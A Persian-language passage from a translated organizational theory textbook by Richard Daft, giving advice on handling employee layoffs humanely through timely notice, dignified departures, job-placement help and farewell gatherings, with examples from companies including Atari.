  1. اخطار به هنگام

سازمان باید به هنگام دادن اخطار برای منتظر خدمت کردن کارکنان اطلاعاتی مفصل در اختیار آنها قرار دهد. حتی هنگامی که مدیران درباره رویدادهای آینده مطمئن نیستند باید هرچند مدت یک بار درباره وضعیت و موضع شرکت اطلاعاتی به کارکنان بدهند، چون در غیر این صورت کارکنان به جنبه های منفی قضیه به بدترین شکل ممکن توجه می کنند که روحیه آنها خراب می شود و تنش روانی بالا میرود. در شرکت دارویی « کانزاس سیتی » مدیران به صورت مرتب گردهمایی هایی تشکیل می دهند و درباره رشد سازمان و برنامه های مربوط به وضعیت نیروی کار اطلاعاتی به افراد می دهند.

  1. اجاره بدهید افراد با احترام سازمان را ترک کنند

هنگامی که بازار یک شرکت متشنج شود و از این نظر یا وضعی فاجعه آمیز رو به رو گردد، مساله منتظر خدمت کردن کارکنان امری اجتناب ناپذیر خواهد بود، ولی نباید به گونه ای عمل کرد که گویا سازمان در نظر دارد آنها را شب هنگام در یک وادی تاریک رها کند. سازمان باید حقوق و مزایای مربوط به این گونه موارد را (بدان گونه که رضایت نسبی آنان به دست آید) پرداخت کند. آنها باید بتوانند دست همکاران خود را به گرمی بفشارند و اندوه و خشم خود را ابراز نمایند. اگر یک مدیر در این موارد ناتوانی به خرج دهد و روشی نادرست در پیش گیرد به سایر کارکنان این پیام را مخابره خواهد کرد که سازمان برای آنان (به عنوان انسان) ارزش قائل نیست. برای مثال، در یک شرکت نفت در هوستن (آمریکا) کارکنان هنگامی که دیدند گارد مسلح در دفاتر کارشان حضور دارند، متوجه شدند که از آن سازمان اخراج شده اند. به آنها مقداری دستمال کاغذی داده شد تا میزهایشان را تمیز کنند و به آنها گفته شد که تاکسی در برابر در کارخانه منتظر است تا آنها را به خانه هایشان برساند. شرکت دیگری بدون اینکه حتی یک ساعت قبل به کارکنان خود اخطار بدهد آنها را اخراج کرد. خشم وغضب کارکنان باعث شد که آنان همگی به دادگاه بروند و از دست شرکت شکایت کنند، همین اقدام باعث شد که شرکت برای یک دوره نسبتا طولانی به زحمت و دردسر بیفتد که در نتیجه روحیه افراد باقیمانده بسیار ضعیف شد.

  1. به افراد اخراجی کمک کنید تا شغل جدید بیابند.

اگر سازمان درصدد بر آید به افرادی که می خواهد اخراج کند آموزش های جدیدی بدهد تا آنان بتوانند شغل هایی تازه بیابند، به اصطلاح بر زخم های ناشی از اخراج آنان نوعی مرهم خواهد گذاشت. شاید برای کارکنان این فرصت یا امکان به وجود آید که به مدرسه، دانشگاه یا آموزشگاه برگردند، آموزش های تازه ای ببینند و در رشته دیگری، در پی شغل جدیدی برایند. شرکت می تواند با سازمان های دیگر تماس بگیرد، فرصت انجام مصاحبه برای آنان فراهم آورد و بدین گونه آنها را در راه یافتن شغل های جدید کمک کند. هنگامی که شرکت آتاری کارکنان خود را اخراج کرد در راه یافتن شغل جدید برای آنها هیچ اقدام موثری به عمل نیاورد. این کار اثری منفی بر اثربخشی آن سازمان داشت، زیرا رهبران شرکت ثابت کردند که به نیازهای اعضای آن سازمان هیچ اهمیتی نمی دهند و در آن زمینه هیچ نوع حساسیتی ندارند.

  1. برای کاهش ابهام و فرونشاندن خشم افراد مجالس تودیع بگیرند.

با کسانی که در سازمان باقی مانده اند باید رفتاری سازنده داشت، یعنی آنان را تشویق و ترغیب نمود که احساسات خود را در رابطه با از دست دادن همکاران و جدایی از دوستان و نیز خشم و غضبی که نسبت به مدیریت (که باعث این اخراج ها شده است) دارند، ابراز نمایند. یکی از مدیران ارشد شرکت آتاری در یک شب تعطیل دوستان خود را به یک شب نشینی دعوت کرد. این جشن برپا شد تا درباره مسائلی که در طول هفته رخ داده بود بحث شود و افراد بکوشند آنها را حل کنند. برای بسیاری از کارکنان فرصتی به دست آمد تا مراتب تاسف خود را نسبت به از دست دادن همکاران ابراز نمایند. این نوع جشن های خداحافظی یا تودیع باید به اطلاع همگان رسانده شود و در آنجا درباره خدمات و اهمیت افراد صحبت شود و مقامات سازمانی و همکاران با دوستان به گرمی خداحافظی کنند. چنین جشن هایی می تواند بر روحیه کارکنانی که در سازمان باقی مانده اند اثر مثبت بگذارند، مشروط بر اینکه مدیریت مراتب تعهد و وفاداری خود را به آگاهی همکاران اخراجی برساند، در اره یافتن شغل جدید برای آنها اعلام آمادگی و همکاری نماید و نیز به آنان قول دهد به محض بهبود شرایط مجددا آنها را استخدام خواهد کرد.

اغلب در نخستین مرحله تجدید حیات و تضمین بقای سازمان ایجاب می کند تا مقداری از منابع انسانی را کاهش داد و تعدادی را منتظر خدمت نمود. معمولا مساله منتظر خدمت کردن کارکنان بخشی از روند تجدید حیات سازمان است. در واقع نباید زندگی دوباره یا جوانی مجدد سازمان را با اقدامات ضعیف (در رابطه با منتظر خدمت کردن کارکنان) به خزان تبدیل کرد.

 
 منبع:
مبانی تئوری و طراحی سازمان. تالیف؛ ریچارد آل دفت (۱۹۹۸). ترجمه پارسائیان و اعرابی (۱۳۸۶) چاپ چهارم